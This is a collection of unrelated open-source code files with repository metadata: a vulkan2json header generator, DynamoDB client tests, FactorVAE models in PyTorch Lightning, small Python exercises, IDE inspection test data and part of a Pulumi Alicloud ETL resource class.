* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
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* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
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* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#ifndef VULKAN2JSON_%s_HPP
#define VULKAN2JSON_%s_HPP
#include <nlohmann/json_fwd.hpp>
#include <vulkan/vulkan.hpp>
static_assert( VK_HEADER_VERSION == %d, "Wrong VK_HEADER_VERSION!" );
''' % ( name.upper(), name.upper(), header_version )
def get_test_header():
return '''/*
* Copyright (c) 2021 Naomasa Matsubayashi
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
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* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
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* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#define BOOST_TEST_MAIN
#include <iostream>
#include <cstddef>
#include <cstdint>
#include <utility>
#include <cstring>
#include <string>
#include <algorithm>
#include <boost/test/included/unit_test.hpp>
#include <nlohmann/json.hpp>
#include <vulkan/vulkan.hpp>
#include <vulkan2json/exceptions.hpp>
'''
def get_source_header():
return '''/*
* Copyright (c) 2021 Naomasa Matsubayashi
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
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* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
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* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include <cstddef>
#include <cstdint>
#include <utility>
#include <cstring>
#include <string>
#include <algorithm>
#include <nlohmann/json.hpp>
#include <vulkan/vulkan.hpp>
#include <vulkan2json/exceptions.hpp>
namespace VULKAN_HPP_NAMESPACE {
void to_json( nlohmann::json &j, const vk::DeviceOrHostAddressConstKHR &p ) {
j = p.deviceAddress;
}
void to_json( nlohmann::json &j, const vk::DeviceOrHostAddressKHR &p ) {
j = p.deviceAddress;
}
}
'''
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Python
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test/test_client_location.py
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bblommers/aws-analytics
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|
2021-01-09T10:02:37.000Z
|
import pytest
from dynamo.data import DynamoClient
from ._location import location, locations
@pytest.mark.usefixtures( 'dynamo_client', 'table_init' )
def test_addLocation( table_name ):
result = DynamoClient( table_name ).addLocation( location() )
assert 'location' in result.keys()
assert dict( result['location'] ) == dict( location() )
@pytest.mark.usefixtures( 'dynamo_client' )
def test_table_addLocation( table_name ):
result = DynamoClient( table_name ).addLocation( location() )
assert 'error' in result.keys()
assert result['error'] == 'Could not add new location to table'
@pytest.mark.usefixtures( 'dynamo_client', 'table_init' )
def test_duplicate_addLocation( table_name ):
client = DynamoClient( table_name )
client.addLocation( location() )
result = client.addLocation( location() )
assert 'error' in result.keys()
assert result['error'] == 'Visitor\'s location is already in table ' \
+ f'{ location() }'
@pytest.mark.usefixtures( 'dynamo_client', 'table_init' )
def test_parameter_addLocation( table_name ):
with pytest.raises( ValueError ) as e:
assert DynamoClient( table_name ).addLocation( {} )
assert str( e.value ) == 'Must pass a Location object'
@pytest.mark.usefixtures( 'dynamo_client', 'table_init' )
def test_addLocations( table_name ):
result = DynamoClient( table_name ).addLocations( locations() )
assert 'locations' in result.keys()
assert len( result['locations'] ) == len( locations() )
def test_table_addLocations( table_name ):
result = DynamoClient( table_name ).addLocations( locations() )
assert 'error' in result.keys()
assert result['error'] == 'Could not add locations to table'
@pytest.mark.usefixtures( 'dynamo_client', 'table_init' )
def test_batch_addLocations( table_name ):
result = DynamoClient( table_name ).addLocations( locations() * 10 )
assert 'locations' in result.keys()
assert len( result['locations'] ) == len( locations() * 10 )
@pytest.mark.usefixtures( 'dynamo_client', 'table_init' )
def test_list_addLocations( table_name ):
with pytest.raises( ValueError ) as e:
assert DynamoClient( table_name ).addLocations( None )
assert str( e.value ) == 'Must pass a list'
@pytest.mark.usefixtures( 'dynamo_client', 'table_init' )
def test_element_addLocations( table_name ):
with pytest.raises( ValueError ) as e:
assert DynamoClient( table_name ).addLocations( [ None ] )
assert str( e.value ) == 'Must pass Location objects'
@pytest.mark.usefixtures( 'dynamo_client', 'table_init' )
def test_removeLocation( table_name ):
client = DynamoClient( table_name )
client.addLocation( location() )
result = client.removeLocation( location() )
assert 'location' in result.keys()
assert dict( result['location'] ) == dict( location() )
@pytest.mark.usefixtures( 'dynamo_client', 'table_init' )
def test_none_removeLocation( table_name ):
result = DynamoClient( table_name ).removeLocation( location() )
assert 'error' in result.keys()
assert result['error'] == f'Location not in table { location() }'
@pytest.mark.usefixtures( 'dynamo_client', 'table_init' )
def test_parameter_removeLocation( table_name ):
with pytest.raises( ValueError ) as e:
assert DynamoClient( table_name ).removeLocation( {} )
assert str( e.value ) == 'Must pass a Location object'
@pytest.mark.usefixtures( 'dynamo_client', 'table_init' )
def test_listLocations( table_name ):
client = DynamoClient( table_name )
for loc in locations():
client.addLocation( loc )
result = client.listLocations()
assert len( result ) == len( locations() )
def test_table_listLocations( table_name ):
result = DynamoClient( table_name ).listLocations( )
assert 'error' in result.keys()
assert result['error'] == 'Could not get visits from table'
| 40.612903
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"MIT"
] | null | null | null |
strfun.py
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shaunakv1/agis-python
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[
"MIT"
] | null | null | null |
name = raw_input("what is your name? ")
print "Hello ", name
print "Hello ", name.capitalize()
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print "Hello ", name.title()
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[
"MIT"
] | null | null | null |
leap/baselines/FactorVAE/model.py
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|
[
"MIT"
] | null | null | null |
"""
FactorVAE.py
- https://github.com/1Konny/FactorVAE
- Contrastive Learning & beta-VAE
- No conditional information
"""
import torch
import pytorch_lightning as pl
import torch.nn.functional as F
"utils file (SAME)"
from ..metrics.correlation import compute_mcc
"FactorVAE list"
from .net import FactorVAEMLP, FactorVAECNN, FactorVAEKP, Discriminator
from .ops import recon_loss, kl_divergence, permute_dims
import ipdb as pdb
class FactorVAE(pl.LightningModule):
def __init__(self,
input_dim,
z_dim,
hidden_dim,
gamma,
lr_VAE,
beta1_VAE,
beta2_VAE,
lr_D,
beta1_D,
beta2_D,
correlation):
# Networks & Optimizers
super(FactorVAE, self).__init__()
self.z_dim = z_dim
self.gamma = gamma
self.input_dim = input_dim
self.hidden_dim = hidden_dim
self.correlation = correlation
self.lr_VAE = lr_VAE
self.beta1_VAE = beta1_VAE
self.beta2_VAE = beta2_VAE
self.lr_D = lr_D
self.beta1_D = beta1_D
self.beta2_D = beta2_D
self.VAE = FactorVAEMLP(self.input_dim, self.z_dim, self.hidden_dim)
self.D = Discriminator(self.z_dim, self.hidden_dim)
def training_step(self, batch, batch_idx, optimizer_idx):
x_true1 = batch['s1']['xt'].reshape(-1, self.input_dim)
x_true2 = batch['s2']['xt'].reshape(-1, self.input_dim)
batch_size = x_true1.shape[0]
ones = torch.ones(batch_size, dtype=torch.long, device=x_true1.device)
zeros = torch.zeros(batch_size, dtype=torch.long, device=x_true1.device)
x_recon, mu, logvar, z = self.VAE(x_true1)
vae_recon_loss = recon_loss(x_true1, x_recon)
vae_kld = kl_divergence(mu, logvar)
D_z = self.D(z)
vae_tc_loss = (D_z[:, :1] - D_z[:, 1:]).mean()
# VAE training
if optimizer_idx == 0:
vae_loss = vae_recon_loss + vae_kld + self.gamma*vae_tc_loss
self.log("train_vae_loss", vae_loss)
self.log("train_vae_recon_loss", vae_recon_loss)
self.log("train_vae_kld", vae_kld)
self.log("train_vae_tc_loss", vae_tc_loss)
return vae_loss
# Discriminator training
if optimizer_idx == 1:
z_prime = self.VAE(x_true2, no_dec=True)
z_pperm = permute_dims(z_prime).detach()
D_z_pperm = self.D(z_pperm)
D_tc_loss = 0.5*(F.cross_entropy(D_z, zeros) + F.cross_entropy(D_z_pperm, ones))
self.log("train_d_tc_loss", D_tc_loss)
return D_tc_loss
def validation_step(self, batch, batch_idx):
x_true1 = batch['s1']['xt'].reshape(-1, self.input_dim)
x_recon, mu, logvar, z = self.VAE(x_true1)
vae_recon_loss = recon_loss(x_true1, x_recon)
vae_kld = kl_divergence(mu, logvar)
D_z = self.D(z)
vae_tc_loss = (D_z[:, :1] - D_z[:, 1:]).mean()
vae_loss = vae_recon_loss + vae_kld + self.gamma*vae_tc_loss
# Compute Mean Correlation Coefficient (MCC)
zt_recon = mu.view(-1, self.z_dim).T.detach().cpu().numpy()
if "yt" in batch['s1']:
zt_true = batch['s1']["yt"].view(-1, self.z_dim).T.detach().cpu().numpy()
mcc = compute_mcc(zt_recon, zt_true, self.correlation)
self.log("val_mcc", mcc)
self.log("val_vae_loss", vae_loss)
self.log("val_vae_recon_loss", vae_recon_loss)
self.log("val_vae_kld", vae_kld)
self.log("val_vae_tc_loss", vae_tc_loss)
return vae_loss
def configure_optimizers(self):
opt_v = torch.optim.AdamW(filter(lambda p: p.requires_grad, self.VAE.parameters()),
lr=self.lr_VAE, betas=(self.beta1_VAE, self.beta2_VAE), weight_decay=0.0001)
opt_d = torch.optim.Adam(filter(lambda p: p.requires_grad, self.D.parameters()),
lr=self.lr_D, betas=(self.beta1_D, self.beta2_D))
return [opt_v, opt_d], []
class FactorVAEKitti(pl.LightningModule):
def __init__(self,
nc,
z_dim,
hidden_dim,
gamma,
lr_VAE,
lr_D,
correlation,
decoder_dist='bernoulli'):
# Networks & Optimizers
super(FactorVAEKitti, self).__init__()
self.nc = nc
self.z_dim = z_dim
self.gamma = gamma
self.hidden_dim = hidden_dim
self.correlation = correlation
self.lr_VAE = lr_VAE
self.lr_D = lr_D
self.decoder_dist = decoder_dist
self.VAE = FactorVAECNN(nc=nc,
z_dim=z_dim,
hidden_dim=hidden_dim)
self.D = Discriminator(self.z_dim, self.hidden_dim)
def training_step(self, batch, batch_idx, optimizer_idx):
batch_size, length, nc, h, w = batch['s1']['xt'].shape
x_true1 = batch['s1']['xt'].reshape(-1, nc, h, w)
x_true2 = batch['s2']['xt'].reshape(-1, nc, h, w)
ones = torch.ones(batch_size*length, dtype=torch.long, device=x_true1.device)
zeros = torch.zeros(batch_size*length, dtype=torch.long, device=x_true1.device)
x_recon, mu, logvar, z = self.VAE(x_true1)
vae_recon_loss = recon_loss(x_true1, x_recon, decoder_dist=self.decoder_dist)
vae_kld = kl_divergence(mu, logvar)
D_z = self.D(z)
vae_tc_loss = (D_z[:, :1] - D_z[:, 1:]).mean()
# VAE training
if optimizer_idx == 0:
vae_loss = vae_recon_loss + vae_kld + self.gamma*vae_tc_loss
self.log("train_vae_loss", vae_loss)
self.log("train_vae_recon_loss", vae_recon_loss)
self.log("train_vae_kld", vae_kld)
self.log("train_vae_tc_loss", vae_tc_loss)
return vae_loss
# Discriminator training
if optimizer_idx == 1:
z_prime = self.VAE(x_true2, no_dec=True)
z_pperm = permute_dims(z_prime).detach()
D_z_pperm = self.D(z_pperm)
D_tc_loss = 0.5*(F.cross_entropy(D_z, zeros) + F.cross_entropy(D_z_pperm, ones))
self.log("train_d_tc_loss", D_tc_loss)
return D_tc_loss
def validation_step(self, batch, batch_idx):
batch_size, length, nc, h, w = batch['s1']['xt'].shape
x_true1 = batch['s1']['xt'].reshape(-1, nc, h, w)
x_recon, mu, logvar, z = self.VAE(x_true1)
vae_recon_loss = recon_loss(x_true1, x_recon, decoder_dist=self.decoder_dist)
vae_kld = kl_divergence(mu, logvar)
D_z = self.D(z)
vae_tc_loss = (D_z[:, :1] - D_z[:, 1:]).mean()
vae_loss = vae_recon_loss + vae_kld + self.gamma*vae_tc_loss
# Compute Mean Correlation Coefficient (MCC)
mus = mu.reshape(batch_size, length, self.z_dim)
zt_recon = mus[:,-1,:].T.detach().cpu().numpy()
zt_true = batch['s1']["yt"][:,-1,:].squeeze().T.detach().cpu().numpy()
mcc = compute_mcc(zt_recon, zt_true, self.correlation)
self.log("val_mcc", mcc)
self.log("val_vae_loss", vae_loss)
self.log("val_vae_recon_loss", vae_recon_loss)
self.log("val_vae_kld", vae_kld)
self.log("val_vae_tc_loss", vae_tc_loss)
return vae_loss
def configure_optimizers(self):
opt_v = torch.optim.AdamW(filter(lambda p: p.requires_grad, self.VAE.parameters()),
lr=self.lr_VAE, weight_decay=0.0001)
opt_d = torch.optim.SGD(filter(lambda p: p.requires_grad, self.D.parameters()),
lr=self.lr_D)
return [opt_v, opt_d], []
class FactorBallKeypoint(pl.LightningModule):
def __init__(self,
k,
nc,
nf,
gamma,
hidden_dim,
lr_VAE,
lr_D,
correlation,
decoder_dist='bernoulli'):
# Networks & Optimizers
super().__init__()
self.nc = nc
self.k = k
self.nf = nf
self.z_dim = self.k * 2
self.gamma = gamma
self.hidden_dim = hidden_dim
self.correlation = correlation
self.lr_VAE = lr_VAE
self.lr_D = lr_D
self.decoder_dist = decoder_dist
self.VAE = FactorVAEKP(k=k, nc=nc, nf=nf)
self.D = Discriminator(self.z_dim, self.hidden_dim)
def training_step(self, batch, batch_idx, optimizer_idx):
batch_size, length, nc, h, w = batch['s1']['xt'].shape
x_true1 = batch['s1']['xt'].reshape(-1, nc, h, w)
x_true2 = batch['s2']['xt'].reshape(-1, nc, h, w)
ones = torch.ones(batch_size*length, dtype=torch.long, device=x_true1.device)
zeros = torch.zeros(batch_size*length, dtype=torch.long, device=x_true1.device)
x_recon, mu, logvar, z = self.VAE(x_true1)
vae_recon_loss = recon_loss(x_true1, x_recon, decoder_dist=self.decoder_dist)
vae_kld = kl_divergence(mu, logvar)
D_z = self.D(z)
vae_tc_loss = (D_z[:, :1] - D_z[:, 1:]).mean()
# VAE training
if optimizer_idx == 0:
vae_loss = vae_recon_loss + vae_kld + self.gamma*vae_tc_loss
self.log("train_vae_loss", vae_loss)
self.log("train_vae_recon_loss", vae_recon_loss)
self.log("train_vae_kld", vae_kld)
self.log("train_vae_tc_loss", vae_tc_loss)
return vae_loss
# Discriminator training
if optimizer_idx == 1:
z_prime = self.VAE(x_true2, no_dec=True)
z_pperm = permute_dims(z_prime).detach()
D_z_pperm = self.D(z_pperm)
D_tc_loss = 0.5*(F.cross_entropy(D_z, zeros) + F.cross_entropy(D_z_pperm, ones))
self.log("train_d_tc_loss", D_tc_loss)
return D_tc_loss
def validation_step(self, batch, batch_idx):
batch_size, length, nc, h, w = batch['s1']['xt'].shape
x_true1 = batch['s1']['xt'].reshape(-1, nc, h, w)
x_recon, mu, logvar, z = self.VAE(x_true1)
vae_recon_loss = recon_loss(x_true1, x_recon, decoder_dist=self.decoder_dist)
vae_kld = kl_divergence(mu, logvar)
D_z = self.D(z)
vae_tc_loss = (D_z[:, :1] - D_z[:, 1:]).mean()
vae_loss = vae_recon_loss + vae_kld + self.gamma*vae_tc_loss
# Compute Mean Correlation Coefficient (MCC)
mus = mu.reshape(batch_size, length, self.z_dim)
zt_recon = mus.view(-1, self.z_dim).T.detach().cpu().numpy()
zt_true = batch['s1']["yt"][...,:2].reshape(batch_size,length,-1).view(-1, self.z_dim).T.detach().cpu().numpy()
mcc = compute_mcc(zt_recon, zt_true, self.correlation)
self.log("val_mcc", mcc)
self.log("val_vae_loss", vae_loss)
self.log("val_vae_recon_loss", vae_recon_loss)
self.log("val_vae_kld", vae_kld)
self.log("val_vae_tc_loss", vae_tc_loss)
return vae_loss
def configure_optimizers(self):
opt_v = torch.optim.AdamW(filter(lambda p: p.requires_grad, self.VAE.parameters()),
lr=self.lr_VAE, weight_decay=0.0001)
opt_d = torch.optim.SGD(filter(lambda p: p.requires_grad, self.D.parameters()),
lr=self.lr_D)
return [opt_v, opt_d], []
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| 0.824067
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"Apache-2.0"
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[
"Apache-2.0"
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from django import forms
from django.core.validators import RegexValidator
from django.forms.utils import ErrorList
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2020-01-22T10:28:02.000Z
|
hypothesis/stat/__init__.py
|
JoeriHermans/hypothesis
|
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|
[
"BSD-3-Clause"
] | 8
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|
2021-07-28T15:05:31.000Z
|
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from .constraint import highest_density_level
from .constraint import likelihood_ratio_test_statistic
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Python
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|
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|
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teste.py
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|
[
"MIT"
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|
2020-04-09T19:58:51.000Z
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teste.py
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inovacampus/ufma_scrapper
|
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|
[
"MIT"
] | 1
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|
2022-03-23T23:32:13.000Z
|
import ufma_scrapperpy
from ufma_scrapperpy.sigaa.curso import get_discentes_ativos
print (get_discentes_ativos("10816685"))
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|
2020-11-27T10:36:50.000Z
|
a, b, c = <warning descr="Too many values to unpack">(1, 2, 3, 4)</warning>
#PY-4357
c = 1, 2, 3
a, b = <warning descr="Too many values to unpack">c</warning>
#PY-4360
(a, b) = <warning descr="Too many values to unpack">1, 2, 3</warning>
(a, b) = <warning descr="Too many values to unpack">(1, 2, 3)</warning>
#PY-4358
a, b = <warning descr="Too many values to unpack">[1, 2, 3]</warning>
a, b = <warning descr="Too many values to unpack">'str'</warning>
a, b = <warning descr="Too many values to unpack">{1, 2, 3}</warning>
a, b = <warning descr="Too many values to unpack">{1:2, 2: 3, 3:4}</warning>
# PY-6315
def test_tuple_slice():
def f():
return 1, 2, 3
x, y = f()[:2]
| 31.590909
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"MIT"
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aritmetica.py
|
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|
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|
[
"MIT"
] | null | null | null |
x = int(input())
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s2 = input()
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if s1 == '*':
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if s2 == '+':
conta = conta + z
print(int(conta), end="")
elif s2 == '-':
conta = conta - z
print(int(conta), end="")
elif s1 == '/':
if y == 0:
print("erro", end="")
else:
conta = x / y
if s2 == '+':
conta = conta + z
print(int(conta), end="")
elif s2 == '-':
conta = conta - z
print(int(conta), end="")
elif s2 == '*':
conta = y * z
if s1 == '+':
conta = x + conta
print(int(conta), end="")
elif s1 == '-':
conta = x - conta
print(int(conta), end="")
elif s2 == '/':
if z == 0:
print("erro", end="")
else:
conta = y / z
if s1 == '+':
conta = x + conta
print(int(conta), end="")
elif s1 == '-':
conta = x - conta
print(int(conta), end="")
elif s1 == '+':
conta = x + y
if s2 == '*':
conta = conta * z
elif s2 == '/':
if z == 0:
print("erro", end="")
else:
conta = conta / z
print(int(conta), end="")
elif s2 == '+':
conta = conta + z
print(int(conta), end="")
elif s2 == '-':
conta = conta - z
print(int(conta), end="")
elif s1 == '-':
conta = x - y
if s2 == '*':
conta = conta * z
print(int(conta), end="")
elif s2 == '/':
if z == 0:
print("erro", end="")
else:
conta = conta / z
print(int(conta), end="")
elif s2 == '+':
conta = conta + z
print(int(conta), end="")
elif s2 == '-':
conta = conta - z
print(int(conta), end="")
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|
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|
pulumi/pulumi-alicloud
|
9c34d84b4588a7c885c6bec1f03b5016e5a41683
|
[
"ECL-2.0",
"Apache-2.0"
] | 152
|
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|
2022-03-29T18:00:57.000Z
|
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|
pulumi/pulumi-alicloud
|
9c34d84b4588a7c885c6bec1f03b5016e5a41683
|
[
"ECL-2.0",
"Apache-2.0"
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|
# coding=utf-8
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import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
from . import outputs
from ._inputs import *
__all__ = ['EtlArgs', 'Etl']
@pulumi.input_type
class EtlArgs:
def __init__(__self__, *,
display_name: pulumi.Input[str],
etl_name: pulumi.Input[str],
etl_sinks: pulumi.Input[Sequence[pulumi.Input['EtlEtlSinkArgs']]],
logstore: pulumi.Input[str],
project: pulumi.Input[str],
script: pulumi.Input[str],
access_key_id: Optional[pulumi.Input[str]] = None,
access_key_secret: Optional[pulumi.Input[str]] = None,
create_time: Optional[pulumi.Input[int]] = None,
description: Optional[pulumi.Input[str]] = None,
etl_type: Optional[pulumi.Input[str]] = None,
from_time: Optional[pulumi.Input[int]] = None,
kms_encrypted_access_key_id: Optional[pulumi.Input[str]] = None,
kms_encrypted_access_key_secret: Optional[pulumi.Input[str]] = None,
kms_encryption_access_key_id_context: Optional[pulumi.Input[Mapping[str, Any]]] = None,
kms_encryption_access_key_secret_context: Optional[pulumi.Input[Mapping[str, Any]]] = None,
last_modified_time: Optional[pulumi.Input[int]] = None,
parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
role_arn: Optional[pulumi.Input[str]] = None,
schedule: Optional[pulumi.Input[str]] = None,
status: Optional[pulumi.Input[str]] = None,
to_time: Optional[pulumi.Input[int]] = None,
version: Optional[pulumi.Input[int]] = None):
"""
The set of arguments for constructing a Etl resource.
:param pulumi.Input[str] display_name: Log service etl job alias.
:param pulumi.Input[str] etl_name: The name of the log etl job.
:param pulumi.Input[Sequence[pulumi.Input['EtlEtlSinkArgs']]] etl_sinks: Target logstore configuration for delivery after data processing.
:param pulumi.Input[str] logstore: Delivery target logstore.
:param pulumi.Input[str] project: The project where the target logstore is delivered.
:param pulumi.Input[str] script: Processing operation grammar.
:param pulumi.Input[str] access_key_id: Delivery target logstore access key id.
:param pulumi.Input[str] access_key_secret: Delivery target logstore access key secret.
:param pulumi.Input[int] create_time: The etl job create time.
:param pulumi.Input[str] description: Description of the log etl job.
:param pulumi.Input[str] etl_type: Log service etl type, the default value is `ETL`.
:param pulumi.Input[int] from_time: The start time of the processing job, the default starts from the current time.
:param pulumi.Input[str] kms_encrypted_access_key_id: An KMS encrypts access key id used to a log etl job. If the `access_key_id` is filled in, this field will be ignored.
:param pulumi.Input[str] kms_encrypted_access_key_secret: An KMS encrypts access key secret used to a log etl job. If the `access_key_secret` is filled in, this field will be ignored.
:param pulumi.Input[Mapping[str, Any]] kms_encryption_access_key_id_context: An KMS encryption context used to decrypt `kms_encrypted_access_key_id` before creating or updating an instance with `kms_encrypted_access_key_id`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. When it is changed, the instance will reboot to make the change take effect.
:param pulumi.Input[Mapping[str, Any]] kms_encryption_access_key_secret_context: An KMS encryption context used to decrypt `kms_encrypted_access_key_secret` before creating or updating an instance with `kms_encrypted_access_key_secret`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. When it is changed, the instance will reboot to make the change take effect.
:param pulumi.Input[int] last_modified_time: ETL job last modified time.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] parameters: Advanced parameter configuration of processing operations.
:param pulumi.Input[str] role_arn: Sts role info under delivery target logstore. `role_arn` and `(access_key_id, access_key_secret)` fill in at most one. If you do not fill in both, then you must fill in `(kms_encrypted_access_key_id, kms_encrypted_access_key_secret, kms_encryption_access_key_id_context, kms_encryption_access_key_secret_context)` to use KMS to get the key pair.
:param pulumi.Input[str] schedule: Job scheduling type, the default value is Resident.
:param pulumi.Input[str] status: Log project tags. the default value is RUNNING, Only 4 values are supported: `STARTING`，`RUNNING`，`STOPPING`，`STOPPED`.
:param pulumi.Input[int] to_time: Deadline of processing job, the default value is None.
:param pulumi.Input[int] version: Log etl job version. the default value is `2`.
"""
pulumi.set(__self__, "display_name", display_name)
pulumi.set(__self__, "etl_name", etl_name)
pulumi.set(__self__, "etl_sinks", etl_sinks)
pulumi.set(__self__, "logstore", logstore)
pulumi.set(__self__, "project", project)
pulumi.set(__self__, "script", script)
if access_key_id is not None:
pulumi.set(__self__, "access_key_id", access_key_id)
if access_key_secret is not None:
pulumi.set(__self__, "access_key_secret", access_key_secret)
if create_time is not None:
pulumi.set(__self__, "create_time", create_time)
if description is not None:
pulumi.set(__self__, "description", description)
if etl_type is not None:
pulumi.set(__self__, "etl_type", etl_type)
if from_time is not None:
pulumi.set(__self__, "from_time", from_time)
if kms_encrypted_access_key_id is not None:
pulumi.set(__self__, "kms_encrypted_access_key_id", kms_encrypted_access_key_id)
if kms_encrypted_access_key_secret is not None:
pulumi.set(__self__, "kms_encrypted_access_key_secret", kms_encrypted_access_key_secret)
if kms_encryption_access_key_id_context is not None:
pulumi.set(__self__, "kms_encryption_access_key_id_context", kms_encryption_access_key_id_context)
if kms_encryption_access_key_secret_context is not None:
pulumi.set(__self__, "kms_encryption_access_key_secret_context", kms_encryption_access_key_secret_context)
if last_modified_time is not None:
pulumi.set(__self__, "last_modified_time", last_modified_time)
if parameters is not None:
pulumi.set(__self__, "parameters", parameters)
if role_arn is not None:
pulumi.set(__self__, "role_arn", role_arn)
if schedule is not None:
pulumi.set(__self__, "schedule", schedule)
if status is not None:
pulumi.set(__self__, "status", status)
if to_time is not None:
pulumi.set(__self__, "to_time", to_time)
if version is not None:
pulumi.set(__self__, "version", version)
@property
@pulumi.getter(name="displayName")
def display_name(self) -> pulumi.Input[str]:
"""
Log service etl job alias.
"""
return pulumi.get(self, "display_name")
@display_name.setter
def display_name(self, value: pulumi.Input[str]):
pulumi.set(self, "display_name", value)
@property
@pulumi.getter(name="etlName")
def etl_name(self) -> pulumi.Input[str]:
"""
The name of the log etl job.
"""
return pulumi.get(self, "etl_name")
@etl_name.setter
def etl_name(self, value: pulumi.Input[str]):
pulumi.set(self, "etl_name", value)
@property
@pulumi.getter(name="etlSinks")
def etl_sinks(self) -> pulumi.Input[Sequence[pulumi.Input['EtlEtlSinkArgs']]]:
"""
Target logstore configuration for delivery after data processing.
"""
return pulumi.get(self, "etl_sinks")
@etl_sinks.setter
def etl_sinks(self, value: pulumi.Input[Sequence[pulumi.Input['EtlEtlSinkArgs']]]):
pulumi.set(self, "etl_sinks", value)
@property
@pulumi.getter
def logstore(self) -> pulumi.Input[str]:
"""
Delivery target logstore.
"""
return pulumi.get(self, "logstore")
@logstore.setter
def logstore(self, value: pulumi.Input[str]):
pulumi.set(self, "logstore", value)
@property
@pulumi.getter
def project(self) -> pulumi.Input[str]:
"""
The project where the target logstore is delivered.
"""
return pulumi.get(self, "project")
@project.setter
def project(self, value: pulumi.Input[str]):
pulumi.set(self, "project", value)
@property
@pulumi.getter
def script(self) -> pulumi.Input[str]:
"""
Processing operation grammar.
"""
return pulumi.get(self, "script")
@script.setter
def script(self, value: pulumi.Input[str]):
pulumi.set(self, "script", value)
@property
@pulumi.getter(name="accessKeyId")
def access_key_id(self) -> Optional[pulumi.Input[str]]:
"""
Delivery target logstore access key id.
"""
return pulumi.get(self, "access_key_id")
@access_key_id.setter
def access_key_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "access_key_id", value)
@property
@pulumi.getter(name="accessKeySecret")
def access_key_secret(self) -> Optional[pulumi.Input[str]]:
"""
Delivery target logstore access key secret.
"""
return pulumi.get(self, "access_key_secret")
@access_key_secret.setter
def access_key_secret(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "access_key_secret", value)
@property
@pulumi.getter(name="createTime")
def create_time(self) -> Optional[pulumi.Input[int]]:
"""
The etl job create time.
"""
return pulumi.get(self, "create_time")
@create_time.setter
def create_time(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "create_time", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
Description of the log etl job.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter(name="etlType")
def etl_type(self) -> Optional[pulumi.Input[str]]:
"""
Log service etl type, the default value is `ETL`.
"""
return pulumi.get(self, "etl_type")
@etl_type.setter
def etl_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etl_type", value)
@property
@pulumi.getter(name="fromTime")
def from_time(self) -> Optional[pulumi.Input[int]]:
"""
The start time of the processing job, the default starts from the current time.
"""
return pulumi.get(self, "from_time")
@from_time.setter
def from_time(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "from_time", value)
@property
@pulumi.getter(name="kmsEncryptedAccessKeyId")
def kms_encrypted_access_key_id(self) -> Optional[pulumi.Input[str]]:
"""
An KMS encrypts access key id used to a log etl job. If the `access_key_id` is filled in, this field will be ignored.
"""
return pulumi.get(self, "kms_encrypted_access_key_id")
@kms_encrypted_access_key_id.setter
def kms_encrypted_access_key_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "kms_encrypted_access_key_id", value)
@property
@pulumi.getter(name="kmsEncryptedAccessKeySecret")
def kms_encrypted_access_key_secret(self) -> Optional[pulumi.Input[str]]:
"""
An KMS encrypts access key secret used to a log etl job. If the `access_key_secret` is filled in, this field will be ignored.
"""
return pulumi.get(self, "kms_encrypted_access_key_secret")
@kms_encrypted_access_key_secret.setter
def kms_encrypted_access_key_secret(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "kms_encrypted_access_key_secret", value)
@property
@pulumi.getter(name="kmsEncryptionAccessKeyIdContext")
def kms_encryption_access_key_id_context(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
An KMS encryption context used to decrypt `kms_encrypted_access_key_id` before creating or updating an instance with `kms_encrypted_access_key_id`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. When it is changed, the instance will reboot to make the change take effect.
"""
return pulumi.get(self, "kms_encryption_access_key_id_context")
@kms_encryption_access_key_id_context.setter
def kms_encryption_access_key_id_context(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "kms_encryption_access_key_id_context", value)
@property
@pulumi.getter(name="kmsEncryptionAccessKeySecretContext")
def kms_encryption_access_key_secret_context(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
